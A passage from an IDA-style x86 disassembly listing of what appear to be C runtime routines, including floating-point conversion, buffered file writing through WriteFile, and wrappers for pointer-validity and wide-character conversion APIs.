sub_41DD07+18j test cl, 10h jz short loc_41DD2A or al, 2 loc_41DD2A: ; CODE XREF: sub_41DD07+1Fj test cl, 20h jz short loc_41DD31 or al, 1 loc_41DD31: ; CODE XREF: sub_41DD07+26j test cl, 2 jz short locret_41DD3B or eax, 80000h locret_41DD3B: ; CODE XREF: sub_41DD07+2Dj retn sub_41DD07 endp ; =============== S U B R O U T I N E ======================================= sub_41DD3C proc near ; CODE XREF: sub_41DDDB+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_41DD81 inc esi cmp esi, 3 jge short loc_41DD7C lea eax, [eax+esi*4] loc_41DD6E: ; CODE XREF: sub_41DD3C+3Ej cmp dword ptr [eax], 0 jnz short loc_41DD81 inc esi add eax, 4 cmp esi, 3 jl short loc_41DD6E loc_41DD7C: ; CODE XREF: sub_41DD3C+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_41DD81: ; CODE XREF: sub_41DD3C+27j ; sub_41DD3C+35j xor eax, eax pop esi retn sub_41DD3C endp ; =============== S U B R O U T I N E ======================================= sub_41DD85 proc near ; CODE XREF: sub_41DDDB+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_41F893 add esp, 0Ch dec esi js short loc_41DDD7 lea edi, [ebx+esi*4] loc_41DDBE: ; CODE XREF: sub_41DD85+50j test eax, eax jz short loc_41DDD7 push edi push 1 push dword ptr [edi] call sub_41F893 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_41DDBE loc_41DDD7: ; CODE XREF: sub_41DD85+34j ; sub_41DD85+3Bj pop edi pop esi pop ebx retn sub_41DD85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DDDB proc near ; CODE XREF: sub_41DF36+81p ; sub_41DF36+CCp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_41DE3F inc ebx push ebx push [ebp+arg_0] call sub_41DD3C pop ecx test eax, eax pop ecx jnz short loc_41DE3C push edi push [ebp+arg_0] call sub_41DD85 pop ecx mov [ebp+var_4], eax pop ecx loc_41DE3C: ; CODE XREF: sub_41DDDB+51j mov eax, [ebp+arg_4] loc_41DE3F: ; CODE XREF: sub_41DDDB+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_41DE5F mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_41DE5F: ; CODE XREF: sub_41DDDB+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41DDDB endp ; =============== S U B R O U T I N E ======================================= sub_41DE67 proc near ; CODE XREF: sub_41DF36+75p ; sub_41DF36+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_41DE75: ; CODE XREF: sub_41DE67+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_41DE75 pop esi retn sub_41DE67 endp ; =============== S U B R O U T I N E ======================================= sub_41DE82 proc near ; CODE XREF: sub_41DF36+5Fp ; sub_41DF36+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_41DE82 endp ; =============== S U B R O U T I N E ======================================= sub_41DE8E proc near ; CODE XREF: sub_41DF36+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_41DE94: ; CODE XREF: sub_41DE8E+12j cmp dword ptr [eax], 0 jnz short loc_41DEA6 inc ecx add eax, 4 cmp ecx, 3 jl short loc_41DE94 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41DEA6: ; CODE XREF: sub_41DE8E+9j xor eax, eax retn sub_41DE8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEA9 proc near ; CODE XREF: sub_41DF36+C0p ; sub_41DF36+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_41DEDF: ; CODE XREF: sub_41DEA9+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_41DEDF mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_41DF11: ; CODE XREF: sub_41DEA9+86j cmp ebx, edi jl short loc_41DF24 mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_41DF2B ; --------------------------------------------------------------------------- loc_41DF24: ; CODE XREF: sub_41DEA9+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_41DF2B: ; CODE XREF: sub_41DEA9+79j dec ebx sub ecx, 4 jns short loc_41DF11 pop edi pop esi pop ebx leave retn sub_41DEA9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DF36 proc near ; CODE XREF: sub_41E0A2+Dp ; sub_41E0B8+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_41DFA3 lea eax, [ebp+var_C] xor esi, esi push eax call sub_41DE8E test eax, eax pop ecx jnz loc_41E062 lea eax, [ebp+var_C] push eax call sub_41DE82 pop ecx loc_41DF9B: ; CODE XREF: sub_41DF36+E4j push 2 loc_41DF9D: ; CODE XREF: sub_41DF36+110j pop eax jmp loc_41E064 ; --------------------------------------------------------------------------- loc_41DFA3: ; CODE XREF: sub_41DF36+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_41DE67 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_41DDDB add esp, 10h test eax, eax jz short loc_41DFC4 inc ebx loc_41DFC4: ; CODE XREF: sub_41DF36+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_41DFDC lea eax, [ebp+var_C] push eax call sub_41DE82 pop ecx jmp short loc_41E018 ; --------------------------------------------------------------------------- loc_41DFDC: ; CODE XREF: sub_41DF36+98j cmp ebx, eax jg short loc_41E01F sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_41DE67 lea eax, [ebp+var_C] push esi push eax call sub_41DEA9 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_41DDDB mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_41DEA9 add esp, 20h loc_41E018: ; CODE XREF: sub_41DF36+A4j xor esi, esi jmp loc_41DF9B ; --------------------------------------------------------------------------- loc_41E01F: ; CODE XREF: sub_41DF36+A8j cmp ebx, [edi] jl short loc_41E04B lea eax, [ebp+var_C] push eax call sub_41DE82 push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_41DEA9 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_41DF9D ; --------------------------------------------------------------------------- loc_41E04B: ; CODE XREF: sub_41DF36+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_41DEA9 pop ecx pop ecx loc_41E062: ; CODE XREF: sub_41DF36+55j xor eax, eax loc_41E064: ; CODE XREF: sub_41DF36+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_41E093 mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_41E09D ; --------------------------------------------------------------------------- loc_41E093: ; CODE XREF: sub_41DF36+14Ej cmp edi, 20h jnz short loc_41E09D mov ecx, [ebp+arg_4] mov [ecx], esi loc_41E09D: ; CODE XREF: sub_41DF36+15Bj ; sub_41DF36+160j pop edi pop esi pop ebx leave retn sub_41DF36 endp ; =============== S U B R O U T I N E ======================================= sub_41E0A2 proc near ; CODE XREF: sub_41E148+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_4361D0 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41DF36 add esp, 0Ch retn sub_41E0A2 endp ; =============== S U B R O U T I N E ======================================= sub_41E0B8 proc near ; CODE XREF: sub_41E1A3+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_4361E8 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41DF36 add esp, 0Ch retn sub_41E0B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E0CE proc near ; CODE XREF: .text:0041E199p ; .text:0041FF2Cp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_0] push esi push edi and [ebp+var_4], 0 mov cx, [eax+0Ah] push 40h mov esi, ecx and ecx, 8000h mov edi, ecx mov ecx, [eax+6] mov [ebp+var_10], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] shl eax, 10h mov [ebp+var_8], eax lea eax, [ebp+var_10] push eax and esi, 7FFFh mov [ebp+var_C], ecx call sub_41DDDB pop ecx test eax, eax pop ecx jz short loc_41E11F mov ecx, 80000000h inc esi jmp short loc_41E122 ; --------------------------------------------------------------------------- loc_41E11F: ; CODE XREF: sub_41E0CE+47j mov ecx, [ebp+var_10] loc_41E122: ; CODE XREF: sub_41E0CE+4Fj cmp si, 7FFFh jnz short loc_41E130 mov [ebp+var_4], 1 loc_41E130: ; CODE XREF: sub_41E0CE+59j mov eax, [ebp+arg_4] or edi, esi mov [eax+4], ecx mov ecx, [ebp+var_C] mov [eax+8], di mov [eax], ecx mov eax, [ebp+var_4] pop edi pop esi leave retn sub_41E0CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E148 proc near ; CODE XREF: sub_419D5A+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_41FA34 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_41E0A2 add esp, 24h leave retn sub_41E148 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push 1 push dword ptr [ebp+0Ch] lea eax, [ebp+0Ch] push eax lea eax, [ebp-0Ch] push eax call sub_41FA34 push dword ptr [ebp+8] lea eax, [ebp-0Ch] push eax call sub_41E0CE add esp, 24h leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1A3 proc near ; CODE XREF: sub_419D5A+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_41FA34 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_41E0B8 add esp, 24h leave retn sub_41E1A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1D0 proc near ; CODE XREF: sub_419D98+65p ; sub_419E9C+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_41E20D mov [ebp+arg_0], ebx xor ebx, ebx loc_41E1F3: ; CODE XREF: sub_41E1D0+38j mov dl, [ecx] test dl, dl jz short loc_41E1FF movsx edx, dl inc ecx jmp short loc_41E202 ; --------------------------------------------------------------------------- loc_41E1FF: ; CODE XREF: sub_41E1D0+27j push 30h pop edx loc_41E202: ; CODE XREF: sub_41E1D0+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_41E1F3 mov edx, [ebp+arg_8] loc_41E20D: ; CODE XREF: sub_41E1D0+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_41E226 cmp byte ptr [ecx], 35h jl short loc_41E226 loc_41E219: ; CODE XREF: sub_41E1D0+52j dec eax cmp byte ptr [eax], 39h jnz short loc_41E224 mov byte ptr [eax], 30h jmp short loc_41E219 ; --------------------------------------------------------------------------- loc_41E224: ; CODE XREF: sub_41E1D0+4Dj inc byte ptr [eax] loc_41E226: ; CODE XREF: sub_41E1D0+42j ; sub_41E1D0+47j cmp byte ptr [esi], 31h jnz short loc_41E230 inc dword ptr [edx+4] jmp short loc_41E242 ; --------------------------------------------------------------------------- loc_41E230: ; CODE XREF: sub_41E1D0+59j push edi call sub_4158E0 inc eax push eax push edi push esi call sub_416430 add esp, 10h loc_41E242: ; CODE XREF: sub_41E1D0+5Ej pop edi pop esi pop ebx pop ebp retn sub_41E1D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E247 proc near ; CODE XREF: sub_419D98+3Fp ; sub_419E9C+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_41E2AB pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4929B8 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_41FF41 mov dword_4929E0, eax add esp, 18h movsx eax, byte_4929BA mov dword_4929D8, eax pop edi movsx eax, word_4929B8 mov dword_4929DC, eax mov dword_4929E4, offset dword_4929BC mov eax, offset dword_4929D8 pop esi leave retn sub_41E247 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E2AB proc near ; CODE XREF: sub_41E247+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_41E2F9 cmp ebx, edi jz short loc_41E2F2 lea edi, [ecx+3C00h] jmp short loc_41E31A ; --------------------------------------------------------------------------- loc_41E2F2: ; CODE XREF: sub_41E2AB+3Dj mov edi, 7FFFh jmp short loc_41E31A ; --------------------------------------------------------------------------- loc_41E2F9: ; CODE XREF: sub_41E2AB+39j xor ebx, ebx cmp eax, ebx jnz short loc_41E311 cmp edx, ebx jnz short loc_41E311 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_41E35C ; --------------------------------------------------------------------------- loc_41E311: ; CODE XREF: sub_41E2AB+52j ; sub_41E2AB+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_41E31A: ; CODE XREF: sub_41E2AB+45j ; sub_41E2AB+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_41E332: ; CODE XREF: sub_41E2AB+A6j test ecx, esi jnz short loc_41E353 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_41E332 ; --------------------------------------------------------------------------- loc_41E353: ; CODE XREF: sub_41E2AB+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_41E35C: ; CODE XREF: sub_41E2AB+64j pop edi pop esi pop ebx leave retn sub_41E2AB endp ; --------------------------------------------------------------------------- push 2 call sub_417FC6 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_41E36A proc near ; CODE XREF: sub_41A170+6Bp ; sub_41A681+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call ds:dword_49530C ; IsBadReadPtr test eax, eax jz short loc_41E382 xor esi, esi loc_41E382: ; CODE XREF: sub_41E36A+14j mov eax, esi pop esi retn sub_41E36A endp ; =============== S U B R O U T I N E ======================================= sub_41E386 proc near ; CODE XREF: sub_41A681+73p ; sub_41A681+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call ds:dword_495460 ; IsBadWritePtr test eax, eax jz short loc_41E39E xor esi, esi loc_41E39E: ; CODE XREF: sub_41E386+14j mov eax, esi pop esi retn sub_41E386 endp ; =============== S U B R O U T I N E ======================================= sub_41E3A2 proc near ; CODE XREF: sub_41A681+15Bp ; sub_41DAE9+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call ds:dword_495308 ; IsBadCodePtr test eax, eax jz short loc_41E3B6 xor esi, esi loc_41E3B6: ; CODE XREF: sub_41E3A2+10j mov eax, esi pop esi retn sub_41E3A2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41A91C loc_41E3BA: ; CODE XREF: sub_41A91C:loc_41A96Dj push 0Ah call sub_41D965 push 16h call sub_420318 pop ecx pop ecx push 3 call sub_41781E ; END OF FUNCTION CHUNK FOR sub_41A91C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E3D1 proc near ; CODE XREF: sub_41A9D8+95p ; sub_41A9D8+E8p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_493F9C push esi push edi jnb loc_41E565 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:493E60h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_41E565 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_41E422 loc_41E41B: ; CODE XREF: sub_41E3D1+177j xor eax, eax jmp loc_41E579 ; --------------------------------------------------------------------------- loc_41E422: ; CODE XREF: sub_41E3D1+48j test al, 20h jz short loc_41E432 push 2 push edi push ecx call sub_41CE78 add esp, 0Ch loc_41E432: ; CODE XREF: sub_41E3D1+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_41E501 mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_41E539 loc_41E452: ; CODE XREF: sub_41E3D1+F5j lea eax, [ebp+var_414] loc_41E458: ; CODE XREF: sub_41E3D1+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_41E48C mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_41E477 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_41E477: ; CODE XREF: sub_41E3D1+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_41E458 loc_41E48C: ; CODE XREF: sub_41E3D1+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call ds:dword_49535C ; WriteFile test eax, eax jz short loc_41E4F6 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_41E4C8 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_41E452 loc_41E4C8: ; CODE XREF: sub_41E3D1+EAj ; sub_41E3D1+12Ej xor edi, edi loc_41E4CA: ; CODE XREF: sub_41E3D1+150j ; sub_41E3D1+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_41E560 cmp [ebp+arg_0], edi jz short loc_41E539 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_41E52E mov dword_4927F4, 9 mov dword_4927F8, eax jmp loc_41E576 ; --------------------------------------------------------------------------- loc_41E4F6: ; CODE XREF: sub_41E3D1+E0j call ds:dword_495328 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_41E4C8 ; --------------------------------------------------------------------------- loc_41E501: ; CODE XREF: sub_41E3D1+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call ds:dword_49535C ; WriteFile test eax, eax jz short loc_41E523 mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_41E4CA ; --------------------------------------------------------------------------- loc_41E523: ; CODE XREF: sub_41E3D1+145j call ds:dword_495328 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_41E4CA ; --------------------------------------------------------------------------- loc_41E52E: ; CODE XREF: sub_41E3D1+10Fj push [ebp+arg_0] call sub_41C4E8 pop ecx jmp short loc_41E576 ; --------------------------------------------------------------------------- loc_41E539: ; CODE XREF: sub_41E3D1+7Bj ; sub_41E3D1+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_41E54E mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_41E41B loc_41E54E: ; CODE XREF: sub_41E3D1+16Fj mov dword_4927F4, 1Ch mov dword_4927F8, edi jmp short loc_41E576 ; --------------------------------------------------------------------------- loc_41E560: ; CODE XREF: sub_41E3D1+FEj sub eax, [ebp+var_10] jmp short loc_41E579 ; --------------------------------------------------------------------------- loc_41E565: ; CODE XREF: sub_41E3D1+15j ; sub_41E3D1+37j and dword_4927F8, 0 mov dword_4927F4, 9 loc_41E576: ; CODE XREF: sub_41E3D1+120j ; sub_41E3D1+166j ... or eax, 0FFFFFFFFh loc_41E579: ; CODE XREF: sub_41E3D1+4Cj ; sub_41E3D1+192j pop edi pop esi pop ebx leave retn sub_41E3D1 endp ; =============== S U B R O U T I N E ======================================= sub_41E57E proc near ; CODE XREF: sub_41A9D8+6Cp ; sub_41C031+32p ... arg_0 = dword ptr 4 inc dword_4929E8 push 1000h call sub_415CF8 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_41E5A7 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_41E5B8 ; --------------------------------------------------------------------------- loc_41E5A7: ; CODE XREF: sub_41E57E+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_41E5B8: ; CODE XREF: sub_41E57E+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41E57E endp ; =============== S U B R O U T I N E ======================================= sub_41E5C2 proc near ; CODE XREF: sub_41A9D8+61p ; sub_41CB5F+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_493F9C jb short loc_41E5D1 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41E5D1: ; CODE XREF: sub_41E5C2+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_493E60[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_41E5C2 endp ; =============== S U B R O U T I N E ======================================= sub_41E5E8 proc near ; DATA XREF: .data:00429420o mov eax, dword_493E40 push esi push 14h test eax, eax pop esi jnz short loc_41E5FC mov eax, 200h jmp short loc_41E602 ; --------------------------------------------------------------------------- loc_41E5FC: ; CODE XREF: sub_41E5E8+Bj cmp eax, esi jge short loc_41E607 mov eax, esi loc_41E602: ; CODE XREF: sub_41E5E8+12j mov dword_493E40, eax loc_41E607: ; CODE XREF: sub_41E5E8+16j push 4 push eax call sub_42048A pop ecx mov dword_492AF0, eax test eax, eax pop ecx jnz short loc_41E63B push 4 push esi mov dword_493E40, esi call sub_42048A pop ecx mov dword_492AF0, eax test eax, eax pop ecx jnz short loc_41E63B push 1Ah call sub_417FC6 pop ecx loc_41E63B: ; CODE XREF: sub_41E5E8+30j ; sub_41E5E8+49j xor ecx, ecx mov eax, offset off_436200 loc_41E642: ; CODE XREF: sub_41E5E8+6Ej mov edx, dword_492AF0 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_436480 jl short loc_41E642 xor edx, edx mov ecx, offset dword_436210 loc_41E65F: ; CODE XREF: sub_41E5E8+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_493E60[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_41E67C test eax, eax jnz short loc_41E67F loc_41E67C: ; CODE XREF: sub_41E5E8+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_41E67F: ; CODE XREF: sub_41E5E8+92j add ecx, 20h inc edx cmp ecx, offset dword_436270 jl short loc_41E65F pop esi retn sub_41E5E8 endp ; =============== S U B R O U T I N E ======================================= sub_41E68D proc near ; DATA XREF: .data:00429834o ; FUNCTION CHUNK AT 00420507 SIZE 00000058 BYTES call sub_41BFBB cmp byte_492834, 0 jz short locret_41E6A0 jmp loc_420507 ; --------------------------------------------------------------------------- locret_41E6A0: ; CODE XREF: sub_41E68D+Cj retn sub_41E68D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E6A1 proc near ; CODE XREF: sub_41AAED+2D4p ; sub_41AAED+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_41E6AD pop ebp retn ; --------------------------------------------------------------------------- loc_41E6AD: ; CODE XREF: sub_41E6A1+8j cmp dword_49288C, 0 jnz short loc_41E6C8 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_41E6FA push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41E6C8: ; CODE XREF: sub_41E6A1+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_435E38 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_49289C call ds:dword_4953E8 ; WideCharToMultiByte test eax, eax jz short loc_41E6FA cmp [ebp+arg_0], 0 jz short loc_41E707 loc_41E6FA: ; CODE XREF: sub_41E6A1+1Ej ; sub_41E6A1+51j mov dword_4927F4, 2Ah or eax, 0FFFFFFFFh loc_41E707: ; CODE XREF: sub_41E6A1+57j pop ebp retn sub_41E6A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E709 proc near ; CODE XREF: sub_41B320+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_41E72C cmp [ebp+arg_8], ebx jz short loc_41E72C mov al, [esi] cmp al, bl jnz 